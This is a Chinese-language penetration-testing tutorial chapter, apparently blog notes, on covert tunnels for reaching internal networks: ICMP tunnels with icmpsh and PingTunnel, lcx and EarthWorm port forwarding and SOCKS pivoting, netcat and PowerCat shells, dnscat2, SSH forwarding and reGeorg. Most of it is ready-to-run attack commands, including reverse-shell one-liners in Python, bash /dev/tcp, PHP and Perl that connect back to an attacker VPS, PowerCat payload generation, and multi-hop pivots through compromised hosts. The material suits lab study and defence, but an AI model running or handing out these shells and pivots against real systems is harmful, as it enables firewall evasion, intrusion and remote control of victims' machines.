第三章 隐藏通信隧道技术

3.1 隐藏通信隧道基础知识

3.1.1 隐藏通信隧道概述

什么是隧道?

在实际的网络中,通常会通过各种边界设备、软/硬件防火墙甚至入侵检测系统来检查对外连接情况,如果发现异样,就会对通信进行阻断。那么什么是隧道呢?这里的隧道,就是一种绕过端口屏蔽的通信方式。防火墙两端的数据包通过防火墙所允许的数据包类型或端口进行封装,然后穿过防火墙,与对方进行通信。当封装的数据包到达目的地时,将数据包还原,并将还原后的数据包发送到相应服务器上。

常用的隧道

  • 网络层:IPv6隧道、ICMP隧道、GRF隧道
  • 传输层:TCP隧道、UDP隧道、常用端口转发
  • 应用层:SSH隧道、HTTP隧道、HTTPS隧道、DNS隧道

3.1.2 判断内网连通性

ICMP协议

ping ip

TCP协议

nc ip port
netcat(简称nc),网络安全界的一把”瑞士军刀“

HTTP协议

curl ip:port

DNS协议

nslookup www.baidu.com vps-ip
nslookup www.baidu.com     // 不指定服务器,则使用默认的DNS服务器
dig @vps-ip www.baidu.com

3.2 网络层隧道技术

3.2.1 IPV6

3.2.2 ICMP隧道

3.2.2.1 icmpsh

实验环境

Kali 172.27.7.229 win7 172.27.7.226

kali安装好icmpsh工具

git clone https://github.com/inquisb/icmpsh.git

安装icmpsh的依赖包

apt-get install python-impacket

// 装不上可以下载tar.gz包 解压 python setup.py bulid 然后 python setup.py install 就可以了,前提有python环境

执行之前最重要的一步是在你的机器上关闭ping回复。这样可以防止内核自己对ping包进行响应。

sysctl -w net.ipv4.icmp_echo_ignore_all=1

然后把icmpsh.exe上传到win7机中。

Kali执行操作:python icmpsh_m.py 本机ip 目标ip

root@kali:~/icmpsh# python icmpsh_m.py 172.27.7.229 172.27.7.226

win7直接icmpsh.exe -t 攻击机ip

Kali就可以接受一个icmp反弹回来的shell

最后不要忘记把1改为0

3.2.2.2 PingTunnel

-p 指定ICMP隧道另一端的IP
-lp:指定本地监听的端口
-da:指定要转发的目标机器的IP
-dp:指定要转发的目标机器的端口
-x:指定连接密码
git clone http://freshmeat.sourceforge.net/projects/ptunnel/

安装好之后,进入Pingtunnel目录进行配置编译

cd ./Pingtunnel
make && make install

附:如果过程中我们会出现pcap.h缺失的情况,则使用wget命令安装libpcap

wget http://www.tcpdump.org/release/libpcap-1.9.0.tar.gz
tar zxvf libpcap-1.9.0.tar.gz
cd libpcap-1.9.0
./configure

安装libpcap

(1)如果显示yacc包错误,我们使用
apt-get install -y byacc
安装好byacc包之后,输入
./configure
make
sudo make install
在输入man pcap
出现回显,即可安装成功
(2)我出现的情况则是error: Neither flex nor lex was found.
所以,我们尝试安装 flex
命令:apt-get install flex
但我输入这个命令的时候,还是报错,后面我发现还需要输入一个命令
apt-get install flex bison 后接着输入
apt-get install flex
然后,在/Pingtunnel下 输入
make && make install 即可安装成功

目标:以172.27.7.241作为攻击机,kali作为目标服务器,使用Pingtunnel工具将10.1.1.24的3389端口以kali为ICMP隧道传输到我们的172.27.7.241攻击机的1080端口

VPS 输入ptunnel -p 172.27.7.240 -lp 1080 -da 10.1.1.31 -dp 3389 -x shuteer

web服务器输入ptunnel -x shuteer

在黑客控制的电脑 远程连接 输入172.27.7.241:1080

3.3 传输层隧道技术

3.3.1 lcx端口转发

端口转发(Port forwarding),有时被叫做隧道,是安全壳(SSH) 为网络安全通信使用的一种方法。端口转发是转发一个网络端口从一个网络节点到另一个网络节点的行为,其使一个外部用户从外部经过一个被激活的NAT路由器到达一个在私有内部IP地址(局域网内部)上的一个端口。

内网端口转发

lcx.exe是个端口转发工具,相当于把肉鸡A上的3389端口转发到B机上,
当然这个B机必须有外网IP.这样链接B机的3389度端口就相当于链接A机的3389.

用法:

在目标机器上执行lcx.exe -slave 公网ip 端口 内网ip 端口

lcx.exe –slave 172.27.7.235 4444 10.1.1.24 3389  #将内网的3389端口转发到公网的4444端口

然后在vps公网的机器上:lcx.exe –listen 监听4444端口,转发到公网机器的5555端口

lcx.exe –listen 4444 5555

此时,用mstsc登录公网的地址172.27.7.234:5555 或者登录主机的10.1.1.24的 5555端口即可访问目标机的3389 端口

本地端口映射

由于防火墙的限制,部分端口,例如3389等无法通过防火墙,此时可以将目标主机的3389端口的流量转发到防火墙允许通过的其他端口,例如53.

在目标机器上运行:

lcx.exe -tran 53 目标主机ip 3389

即可远程桌面连接到 目标主机ip:53 输入用户名密码即可连接到内网主机

3.3.2 netcat

3.3.2.1 简易使用

主要参数:options:
-d              无命令行界面,使用后台模式
-e prog          程序重定向 [危险!!]
-g gateway       源路由跳跃点, 不超过8
-G num          源路由指示器: 4, 8, 12, ...
-h              获取帮助信息
-i secs           延时设置,端口扫描时使用
-l               监听入站信息
-L              监听知道NetCat被结束(可断开重连)
-n              以数字形式表示的IP地址
-o file           使进制记录
-p port          打开本地端口
-r               随机本地和远程的端口
-s addr          本地源地址
-t               以TELNET的形式应答入站请求
-u              UDP 模式
-v               显示详细信息 [使用=vv获取更详细的信息]
-w secs          连接超时设置
-z               I/O 模式 [扫描时使用]
端口号可以是单个的或者存在一个范围: m-n [包含值]。

服务端A:10.1.1.30

客户端B:10.1.1.31

banner抓取
nc -nv 10.1.1.30 21
远程连接主机
nc -nvv 10.1.1.30 80
端口扫描
nc -v 10.1.1.30 80
扫描端口段
nc -v -z 10.1.1.30 20-2000
端口监听
nc -l -p 9999
文件传输

注意-p必须有,< 前后要留空格),可以传输任何类型的文件,但限制在于一次只能传输一个文件
且接收方要知道文件的后缀

发送端netcat -l -p port < file
例如:netcat -l -p 80 < 12345.txt
接收端netcat -n ip port > file
例如:netcat -n 10.1.1.30 80 > 99999.txt
简易聊天

用netcat通信

服务端A:10.1.1.30

客户端B:10.1.1.31

服务端
netcat -l -p port或 nc -l -p port 注意-p参数不能少

例如:netcat -l -p 80

客户端
netcat ip port

例如:netcat 10.1.1.30 80

这样客户端和服务端之间就可以互发信息了

3.3.2.2 获取shell

shell分为两种 一种是正向shell,另一种是反向shell
正向shell:客户端连接服务器,客户端想要获取服务器的shell
反向shell:客户端连接服务器,服务器想要获取客户端的shell
反向shell通常用在开启了防护措施的目标主机上,列如防火墙过滤,端口转发,

正向shelll

目标主机A:172.27.7.249 监听4444 端口

nc -lvp 4444 -e /bin/sh                             //linux
nc -lvp 4444 4444 -e c:\windows\system32\cmd.exe    //windows

本地主机VPS:172.27.7.250

nc 172.27.7.249 4444

这时候可以在目标主机A上看到VPS正在连接目标主机A

在VPS上查看当前地址 已经是.250

使用ls命令,列出目标机.250上的文件信息,可以正常使用命令行

反向shell

本地主机VPS:172.27.7.250 监听9999端口

nc -lvp 9999

目标主机A:172.27.7.249 l连接VPS的9999端口

nc 172.27.7.250 4444 -e /bin/sh


现在在 VPS 上看到连接,ip已经是目标主机的.249了,shell命令行可以用

3.3.2.3 在目标主机没有nc获取反向shell

一般,目标主机时没有nc,可以使用其他的工具和编程语言来代替nc,实现反向连接

(1)python反向shell

在VPS:172.27.7.250 上监听本地端口2222端口

nc -lvp 2222

在目标主机:172.27.7.249上执行反弹命令

python -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("172.27.7.250",2222));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call(["/bin/bash","-i"]);'

(2)bash反向shell
在VPS:172.27.7.250上监听4444端口

nc -lvp 4444

在目标主机:172.27.7.249上执行反弹命令

bash -i >& /dev/tcp/172.27.7.250/4444 0>&1

(3)php反向shell

在VPS:172.27.7.250上监听6666端口

nc -lvp 6666

php通常在web服务器上,是nc,perl,和base很好的一个替代品

在目标主机:172.27.7.249上执行反弹命令

php -r '$sock=fsockopen("172.27.7.250",6666);exec("/bin/sh -i <&3 >&3 2>&3");'

(4)perl反向shell

在VPS:172.27.7.250上监听5555端口

nc -lvp 5555

在目标主机:172.27.7.249上执行反弹命令

perl -e 'use Socket;$i="172.27.7.250";$p=5555;socket(S,PF_INET,SOCK_STREAM,getprotobyname("tcp"));if(connect(S,sockaddr_in($p,inet_aton($i)))){open(STDIN,">&S");open(STDOUT,">&S");open(STDERR,">&S");exec("/bin/sh -i");};'

附:Perl 2 不依赖/bin/sh:

perl -MIO -e '$p=fork;exit,if($p);$c=new IO::Socket::INET(PeerAddr,"123.123.123.123:4444");STDIN->fdopen($c,r);$~->fdopen($c,w);system$_ while<>;'

Perl 3 Windows:

perl -MIO -e '$c=new IO::Socket::INET(PeerAddr,"123.123.123.123:4444");STDIN->fdopen($c,r);$~->fdopen($c,w);system$_ while<>;'

3.3.2.4 内网代理

在VPS 172.27.7.250监听3333 端口

nc -lvp 3333

数据库服务器10.1.1.30执行

nc -lvp 3333 -e /bin/sh

最后在web服务器(边界服务器)172.27.7.249 && 10.1.1.31执行

nc -v 172.27.7.250 3333 -c "nc -v 10.1.1.30 3333"

3.3.3 PowerCat

PowerCat可以说是nc的PowerShell版本。可以通过执行命令回到本地运行,亦可以使用远程权限运行

https://github.com/besimorhino/powercat.git

3.3.3.1 下载安装

进入powershell;cd到powercat文件夹下;要想使用powercat.ps1 脚本,要先导入操作

输入Import-Module .\powercat.ps1 导入可能会发生异常,如图,该异常是权限不足导致

输入get-ExecutionPolicy 显示Restricted

Restricted——默认的设置,不允许任何script运行
AllSigned——-只能运行经过数字证书签名的script
RemoteSigned—-运行本地的script不需要数字签名,但是运行从网络上下载的script就必须要有数字签名
Unrestricted—-允许所有的script运行

输入Set-ExecutionPolicy RemoteSigned 然后输入y,再次运行就行了 //修改权限为RemoteSigned

如果依旧报错,如图

输入:Set-ExecutionPolicy -Scope CurrentUser 根据提示,在ExecutionPolicy后填入RemoteSigned

这时候Import Module .\powercat.ps1导入,无报错,成功

3.3.3.2 命令详解

-l:监听模式,用于入站连接
-e:指定要启动进程的名称
-p:指定监听端口
-v:显示详情

测试环境

windows7: 172.27.7.10  && 10.1.1.21
windows server 2012:  10.1.1.23
kali linux:  172.27.7.250

3.3.3.3 nc正向连接PowerCat

win7执行命令监听powercat -l -p 8080 -e cmd.exe -v

kali 执行netcat 172.27.7.10 8080 -vv


3.3.3.4 nc反向连接PowerCat

kali 执行nc -l -p 8888 -vv

win7执行命令监听powercat -c 172.27.7.250 -p 8888 -v -e cmd.exe

3.3.3.5通过powercat返回powershell

前面都可以和nc进行交互。但是想返回powershell,无法与nc进行交互,下面介绍如何让win7与win server2012 建立正向连接

在Windows7中执行:powercat -l -p 9999 -v

在win server 2012中执行:powercat -c 10.1.1.21 -p 9999 -v -ep


windows 7 连接上win server 2012 的shell,成功

3.3.3.6通过powercat传输文件

-i:输入,可以写文件名
-of:输出文件名,可以在文件名前面添加路径

windows 在根目录C:\新建 一个 test.txt

windows server 2012执行 powercat -l -p 9999 -of test.txt -v

windows 7 执行 powercat -c 10.1.1.23 -p 9999 -i c:\test.txt -v

3.3.3.7通过powercat生成Payload

在Win7执行下面命令:

powercat -l -p 8000 -e cmd -v -g >> shell.ps1

将生成的ps1文件上传到Winserver2012中并且执行 .\shell.ps1,然后在win7中执行如下命令,就可以获得一个反弹shell:在Win7执行

powercat -c 10.1.1.23 -p 8000 -v

如果想反弹Powershell,可以执行如下命令:

powercat -l -p 8000 -ep -v -g >> shell.ps1
生成经过编码的Payload。在win7执行如下命令:
powercat -c 1.1.1.4 -p 9999 -ep -ge
继续在win7执行:
powercat -l -p 9999 -v

3.3.3.8 DNS隧道通信

https://github.com/iagox86/dnscat2

下载解压

cd dnscat2-master/server
gem install bundler
bundle install
ruby dnscat2.rb ttpowercat.test -e open --no-cache


windows 7

powercat -c 172.27.7.250 -p 53 -dns ttpowercat.test -e cmd.exe

这时候kali 即可收到会话,后输入session -i 1

3.3.3.9 powercat作为跳板

Windows2012机器输入命令:
powercat -l -v -p 9999 -e cmd.exeWindows7机器输入命令:
powercat -l -v -p 8000 -r tcp:10.1.1.23:9999Kali Linux输入命令:
nc 172.27.7.10 8000 -vv



3.4 应用层隧道技术

3.4.1 SSH 协议

一个普通ssh命令

ssh root@192.168.1.1

-C:压缩传输,提高传输速度
-f:将SSH传输转入后台执行,不占用当前的shell
-N:建立默认连接(建立了连接,但是看不到会话)
-g:允许远程主机连接本地端口
-L:本地端口换发
-R:远程端口转发
-D:动态转发(SOCKS代理)
-P:指定SSH端口

3.4.1.1 本地转发

以web服务器172.27.7.30为跳板,将内网数据库服务器10.1.1.24的3389端口映射到VPS机器172.27.7.35的1153端口,再访问VPS的1153端口,就可以访问10.1.1.24的3389端口了

ssh -CfNg -L VPS端口:目标主机:目标端口 跳板机
ssh -CfNg -L 1153:10.1.1.24:3389 root@172.27.7.30

查看本地监听端口

netstat -tulnp | grep "1153"

连接数据库服务器的3389端口

rdesktop 127.0.0.1:1153


3.4.1.2 远程转发

web服务器只有一个网卡,加一个默认路由往外

以web服务器为跳板,将VPS的3307端口流量转发到10.1.1.24 的3389端口,然后访问VPS的3307的端口就可以访问10.1.1.24的3389端口了

在web服务器执行命令

ssh -CfNg -R 3307:10.1.1.24:3389 root@172.27.7.35


在VPS访问本地3307端口,可以返现,已经连接上了内网的数据库服务器10.1.1.24的3389端口

rdesktop 127.0.0.1:3307


3.4.1.3 动态转发

动态端口映射就是建立一个ssh加密的socks 4/5 代理通道,任何支持socks 4/5协议的程序都可以使用这个加密通道进行代理访问

在VPS 上执行命令,建立一个动态的socks 4/5 代理通道,输入web服务器的密码

ssh -CfNg -D 7000 root@172.27.7.30

查看端口

netstat -tulnp | grep "7000"

VPS本地设置代理

然后直接打开10.1.1.24,可以访问 (注意,访问的内网服务器需要有web功能)

3.4.1.4 防御ssh隧道攻击的思路

设置白名单,acl,限制ip

设置系统完全使用带外管理设置双向访问策略

3.4.2 HTTP/HTTPS 协议

python reGeorgSocksProxy.py -u http://172.27.7.51/upload-labs/tunnel.nosocket.php -p 9999

netstat -ntlp

vi /etc/proxychains.conf   #改为socks 127.0.0.1 9999

proxychains rdesktop -g 1440x900 172.27.7.51:3389       // -g 后面跟分辨率  跳出来一个desktop窗口 即为连接成功

3.4.3 DNS协议

3.5 SOCKS代理

3.5.1 EarthWorm

下载链接:https://github.com/rootkiter/EarthWorm

https://codeload.github.com/idlefire/ew/zip/master

EarthWorm是内网穿透的神器,拥有三项功能正向代理,反向代理,端口转发。

为实现这些功能,EarthWorm建立了六大功能模块。分别是ssocksd , rcsocks , rssocks ,lcx_listen , lcx_tran , lcx_slave。

从三项功能的角度可以这样划分

功能名称 对应模块
正向代理 ssocksd
反向代理 rcsocks,rssocks
端口转发 lcx_listen,lcx_slave,lcx_tran

3.5.1.1 正向代理

kali:172.27.7.71
web服务器(win 7):172.27.7.99 && 10.1.1.31
数据库服务器(win server 2012):10.1.1.23

在web服务器上面上传对应的ew程序并执行:

ew_for_win_32.exe -s ssocksd -l 888

这样,就在内网web服务器上面架设了一个端口为888的socks代理服务。接下来我们就可以设置proxychains或SocksCap64添加这个socks代理服务器(172.27.7.99)的代理即可。配置proxychains:vi /etc/proxychains.conf

此时就可以打开内网Windows server 2012 :10.1.1.23 的远程桌面:proxychains rdesktop 10.1.1.23


3.5.1.2 反向代理

此处需要使用两个功能模块rcsosks,rssocks

在很多场景,无法直接连接需要当做代理的主机,那么怎么解决这个问题呢?EarthWorm的解决方法十分简单,考虑到我们无法直接连接代理主机,但是代理主机可以主动连接我们,因此需要等待该主机主动连接承担代理任务。而这就是rccosks,rssocks的命令设计想法。rcsocks建立本地代理客户端,指定本地监听反弹的端口,rssocks建立本地代理服务端,并指定建立服务端后主动连接的远程主机的IP和端口。

在这个测试环境中,与上一个相似,只是web服务器没有了公网IP,但能上网;VPS是真的公网vps了。

在攻击者公网vps上面上传ew_for_linux并执行

第1步:在公网的VPS上执行如下命令:(这是在ew的exe文件目录里执行,当前目录)

./ew_for_linux -s rcsocks -l 1080 -e 1234在64系统里执行32位程序如果出现/lib/ld-linux.so.2:
-bash: ./ew_for_linux: /lib/ld-linux.so.2: bad ELF interpreter: No such file or directory
安装下glic即可
yum install glibc.i686

该命令的意思是在vps上添加一个转接隧道,监听1234,把本地1234端口收到的代理请求转交给1080端口,这里1234端口只是用于传输流量。

第2步:在内网web服务器(10.1.1.32)上传ew_for_Win.exe,并执行命令:

ew_for_win_32.exe -s rssocks -d 172.27.7.10 -e 1234

其中-d参数的值为刚刚的公网IP

该命令的意思是在受害者web服务器上启动SOCKS5服务,并反弹到公网IP地址为172.27.7.10的1234端口上。此时vps上面显示“rssocks cmd_socket OK!”说明连接成功:

第3步:攻击者机器通过proxychains或浏览器设置Socks5代理访问目标内网服务
现在就可以在攻击者计算机上面配置proxychains或SocksCap64等工具通过访问公网vps(172.27.7.10)的1080端口来使用内网web服务器上面架设的socks4代理服务了。

例如:用攻击者的机器172.27.7.77 代理配置proxychains:vi /etc/proxychains.conf设置为vps的1080端口

此时就可以打开内网Windows server 2012 :10.1.1.23 的远程桌面:proxychains rdesktop 10.1.1.23

或者直接用VPS ,代理设置为本地1080端口 socks5 127.0.0.1 8080,直接在vps上连接内网机器的3389端口

二级网络环境(a)

右侧内网A主机有两个网卡,一个连接外网(172.27.7.99),另一个只能连接内网的B主机,但不能访问内网中的其他主机资源。B主机可以访问内网其他资源,但不能访问外网。假设我们已经获得了A主机和B主机的控制权。

先将ew上传至B主机上面,并用ssocksd方式启动1234端口的正向socks代理,B主机:

ew_for_win_32.exe -s ssocksd -l 1234


接着,将ew上传至A主机中,并执行命令:A主机

ew_for_win_32.exe -s lcx_tran -l 1080 -f 10.1.1.23 -g 1234


该命令将A主机1080端口收到的代理请求转发给B主机(10.1.1.23)的1234端口。

现在,我们就可以通过在vps访问A主机的公网IP(172.27.7.99)的1080端口来使用架设在B主机上的socks代理服务了。配置proxychains:

vps用ssh连接内网服务器proxychains ssh root@10.1.1.30

二级网络环境(b)

刚才那个适用于目标机器拥有一个外网IP地址的情况下,假设目标机器没有公网IP的情况下,我们该怎么办呢?

如上图环境,A主机既没有公网IP,可以访问外网(上图我写错了),不能访问内网其他主机资源,但可以访问内网B主机;内网B主机可以访问内网资源,但不能访问外网。假设我们已经获得了A主机和B主机的控制权限。

这里,我们不能像前一种情况那样通访问A主机来使用内网B主机上面架设的socks代理服务,可以通过访问vps来访问B主机上面架设的socks服务。

我们先在公网vps上传ew,在公网vps上面添加转接隧道,监听1080端口,并将1080端口收到的代理请求发送给1234端口,执行命令:

./ew_for_linux -s rcsocks -l 1080 -e 1234


然后将ew上传至内网B(10.1.1.23)主机,并利用ssocksd方式启动999端口的正向socks代理,执行命令:

ew_for_win_32.exe -s ssocksd -l 999


最后,将ew上传到内网A主机上,在A主机(10.1.1.32)上利用lcx_slave方式,将公网vps(172.27.7.10)的1234端口与内网B主机(10.1.1.23)的999端口连接起来,执行命令:

ew_for_win_32.exe -s lcx_slave -d 172.27.7.10 -e 1234 -f 10.1.1.23 -g 999


此时,就可以设置proxychains等代理工具,通过访问公网vps的1080端口来使用架设在内网B主机上的socks代理服务了。

如下设置proxychains:这里我直接用vps当攻击机,自己本地1080端口,可以这样理解

访问内网机器win server 2003(10.1.1.33)的远程桌面:proxychains rdesktop 10.1.1.33

三级网络环境

假设渗透场景:右侧内网A主机没有公网IP但可以访问外网,B主机不能访问外网但可以被A主机访问、C主机可被B主机访问而且能够访问核心区域。

[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-ojUqGAta-1667197025304)(%E7%AC%AC%E4%B8%89%E7%AB%A0%20%E9%9A%90%E8%97%8F%E9%80%9A%E4%BF%A1%E9%9A%A7%E9%81%93%E6%8A%80%E6%9C%AF.assets/20180609194829360)]

A.在左侧公网VPS上运行命令,将1080端口收到的代理请求转交给888端口:

ew -s rcsocks -l 1080 -e 888

B.在A主机上运行命令,将公网VPS的888端口和B主机的999端口连接起来:

ew -s lcx_slave -d 139.XXX.XX.113 -e 888 -f 10.48.128.12 -g 999

C.在B主机上运行命令,将999端口收到的代理请求转交给777端口:

ew -s lcx_listen -l 999 -e 777

D.在C主机上启动SOCKS V5服务,并反弹到B主机的777端口上,命令如下。

ew -s rssocks -d 10.48.128.12 -e 777

E.在MY PC上可以通过访问公网VPS 139.XXX.XX.113:1080来使用在C主机架设的socks5代理。

整个数据流向是:SOCKS V5 → 1080 → 888 →999 →777 → rssocks

3.5.2 内网漫游

windows 下 使用 sockscap64 实现

linux下使用proxychains实现

第一步先删掉dynamic_chain前面的注释符(也就是#符号),如下图

然后拉到最下面改成我们架设的代理服务socks5 172.27.7.10 1080,在有代理的vps本地上测试就直接改本地 socks5 127.0.0.1 1080

这样就设置完成了,我们接着测试下代理服务是否正常,在终端输入

proxyresolv www.baidu.com

显示未找到命令,不要担心,继续在终端输入下列命令

cp /usr/lib/proxychains3/proxyresolv /usr/bin/

然后再次测试下代理服务器是否正常,如下图,显示OK就表示配置正确了。

现在我们就可以愉快的畅游内网了,照例先访问内网网站试试看,我们先在终端输入proxychains firefox启动火狐浏览器。

等个几秒钟,火狐就打开了,我们还是访问10.1.1.23路由的80端口看看


接着就到了我们的重头戏了,我们找几个具有代表性的工具试试,先看看NMAP和SQLMAP好使不

如上图所示,均表示相当好使,我们最后再试试大杀器-Metasploit可不可以用proxychains msfconsole

3.6 压缩数据

3.6.1 RAR

-a:添加文件到压缩文件

-k:锁定压缩文件

-s:生成存档文件

-p:指定压缩密码。

-r:递归压缩,包括子目录

-x:指定要排除的文件。

-v:分卷打包,在打包大文件时用处很大。

-ep:从名称中排除路径。

-epl: 从名称中排除基本目录。

-m0:存销添加利压缩文件时不压缩文件。

-ml:最快,使用最快压缩方式(低压缩比)。

-m2:较快,使用快速压缩方式。

-m3:标准,使用标准压缩方式(默认)。

-m4:较好,使用较强压缩方式(速度较慢)。

-m5:最好,使用最强压缩方式(最好的压缩方式,但速度最慢)。

压缩

Rar.exe -a -k -r -s -m3 E:\web\1.rar E:\web

zip和rar命令一样,只需把后缀名改为zip即可

分卷压缩/解压

分卷压缩 -r 递归压缩,设置每个分卷为20MB

Rar.exe a -m0 -r v20m E:\web\1.rar E:\web

解压

Rar.exe -x E:\web\1.rar E:\web

3.6.2 7-zip

-r:递归压缩,包括子目录

-o:指定输出目录

-p:指定压缩密码。

-v:分卷压缩,设置要适当,否则文件会很多

-a:添加压缩文件

使用方法参考上面rar

3.7 上传和下载

对于不能上传shell的Windows服务器(而且唯一的入口就是命令行:Shell,可以在Shell 执行上传和下载操作。

3.7.1利用 FTP协议上传

在本地或者VPS上搭建FTP服务器,通过简简单的FTP命令即可实现文件的上传,如图3.1所示。

FTP命令

常用的FTP命令列举如下。

open <服务器地址>:连接服务器。

cd<目录名>:进人指定目录。

lcd:文件夹路径”定位本地文件夹(上传文件的位置或者下载文件的本地位置)。

type:查看当前的传输方式

ascii:设定传输方式为ASCII码方式

binary:设定传输方式为二进制方式

close:结束与服务器的FTP会话。

quit:结束与服务器的FTP会话并退出FTP环境。

send:<文件名> [newname]:上传

get下载指定文件get filename [newname](filename为下载的FTP服务器上的文件名,newname为保存在本都计算机上时使用的名字,如果不指定newname,文件将以原名保存。

get:<文件名> [newname]:下载。 “newname”为保存时的新名字,若不指定将以原名保存。

mget:命令支持空格和“?"两个通配符,例如“mget mp3”“表示下载FTP服务器当前目录下所有扩展名为“.mp3”” 的文件。

3.7.2利用 VBS.上传

3.7.3 利用Debug上传

3.7.4 利用Nishang上传

3.7.5 利用bitsadmin下载

3.7.6 利用Powershell下载

第三章 隐藏通信隧道技术相关推荐

  1. DAY43(DAY44拓展):隐藏通信隧道技术的概述与使用

    DAY43(DAY44拓展):隐藏通信隧道技术的概述与使用 OSI 七层模型 物链网传会表应 常用的隧道技术: (1)网络层:IPv6隧道.ICMP隧道.GRE隧道 (2)传输层:TCP隧道.UDP隧 ...

  2. ipv6 访问内网_【内网渗透】—— 隐藏通信隧道技术之网络层隧道技术

    hidden:是否完全隐藏控制面板,还有很多设置参数,比如也可以设置显示面板,然后设置宽高WIDTH="整数" 和 HIGH="整数". 1. 隐藏通信隧道基础 ...

  3. 内网安全 隐藏通信隧道技术——应用层.(遨游于 内网任何主机)

    隐藏通信隧道技术. 隐藏通信隧道就是一种 绕过端口屏蔽的通信方式.防火墙两端的数据包通过防火墙所允许的数据包类型或者端口进行封装,然后穿过防火墙,与对方进行通信.当被封装的数据包到达目的地时,将数据包 ...

  4. 内网安全 隐藏通信隧道技术——传输层.(遨游于 内网任何主机)

    隐藏通信隧道技术. 隐藏通信隧道就是一种 绕过端口屏蔽的通信方式.防火墙两端的数据包通过防火墙所允许的数据包类型或者端口进行封装,然后穿过防火墙,与对方进行通信.当被封装的数据包到达目的地时,将数据包 ...

  5. 隐藏通信隧道技术(下)

    目录 一.传输层隧道技术 1.Netcat获取shell(反向shell) 第一种:如果目标主机安装nc 第二种:目标主机没有安装nc,使用php也可以反弹shell 第三种:使用Python反弹sh ...

  6. 内网穿透 frp : 隐藏通信隧道技术

    1 frp介绍 注意事项: 1)服务器端和内网机器端下载的版本要相同,否则可能会影响内网穿透 2)根据服务器系统选择合适的脚本 脚本主要分为服务端与客户端文件 1.外网服务器端用到的是Frps和Frp ...

  7. 内网渗透之隐藏通信隧道

    前言 在实际的网络中,通常会通过各种边界设备.软/硬件防火墙甚至入侵检测系统来检查对外连接情况,如果发现异样,就会对通信进行阻断. 那么什么是隧道呢?隧道就是一种绕过端口屏蔽的通信方式.防火墙两端的数 ...

  8. 第三章 信息系统集成专业技术知识

    第三章 信息系统集成专业技术知识 知识点 1.信息系统的生命周期有哪几个过程 2.信息系统开发的方法有几种:各种用于什么情况的项目. 3.软件需求的定义及分类: 4.软件设计的基本原则是什么: 5.软 ...

  9. Elixir元编程-第三章 编译时代码生成技术进阶

    Elixir元编程-第三章 编译时代码生成技术进阶 注:本章内容来自 Metaprogramming Elixir 一书,写的非常好,强烈推荐.内容不是原文照翻,部分文字采取意译,主要内容都基本保留, ...

最新文章

  1. dedecms 漏洞_织梦dedecms文档内容页自动关联tag标签加入内链的方法_dedecms_CMS教程...
  2. 解决gitosis中authorized_keys不自动更新问题
  3. 每个人都应该知道的25个大数据术语 1
  4. TCP/IP / 三次握手之状态转换图和原因
  5. hdu 1556:Color the ball(第二类树状数组 —— 区间更新,点求和)
  6. 如何高效地远程部署?Fabric 来支招!
  7. java海滩上有一_海滩上有一堆桃子,五只猴子来分-海滩上有一堆桃子,五只猴子来分java实现-吾爱编程网...
  8. win10不能访问服务器共享文件夹权限,win10系统共享文件夹无法访问的解决方法...
  9. 获取浏览器的User Anent及判断微信浏览器
  10. JSP内置对象out对象的功能简介说明
  11. Windows下Redis-Cluster伪集群搭建
  12. excel文档插入新列报错:为了防止数据丢失,excel不能从表中移走非空单元格。
  13. 初次Blender建模遇到的问题与解决方法(二)
  14. 使用easypoi导入导出excel,SSM和SpringBoot通用代码
  15. 集合竞价如何买入_股票买入技巧:如何进行集合竞价?
  16. 无线路由器无线连接的几种方式
  17. MYSQL5.7在Linux系统详细安装步骤
  18. php逐行的读取文件内容
  19. 远控免杀专题文章(1)-基础篇
  20. Prescan 8.5.0、MatlabR2020a、Carsim2019.1、罗技Logitech G29套装联合仿真注意事项

热门文章

  1. 如何计算变量或数据类型所占内存空间的大小
  2. 《自控力》分享一些减缓压力小妙招
  3. 基于pytorch的OCR识别库
  4. 《数值分析》-- 数值积分
  5. 专为博客们设计的概念产品bloger | 奇事奇物网
  6. 量子计算机需要的物理知识,量子计算机和物理学上的量子力学关系大吗?
  7. 甘肃环讯信息科技有限公司加入openGauss社区
  8. 关键词竞争度如何分析?
  9. 前端踩坑日记 npm install -g ...
  10. R语言作业一:矩估计、极大似然估计、拟合、对数正态分布、泊松分布、负二项分布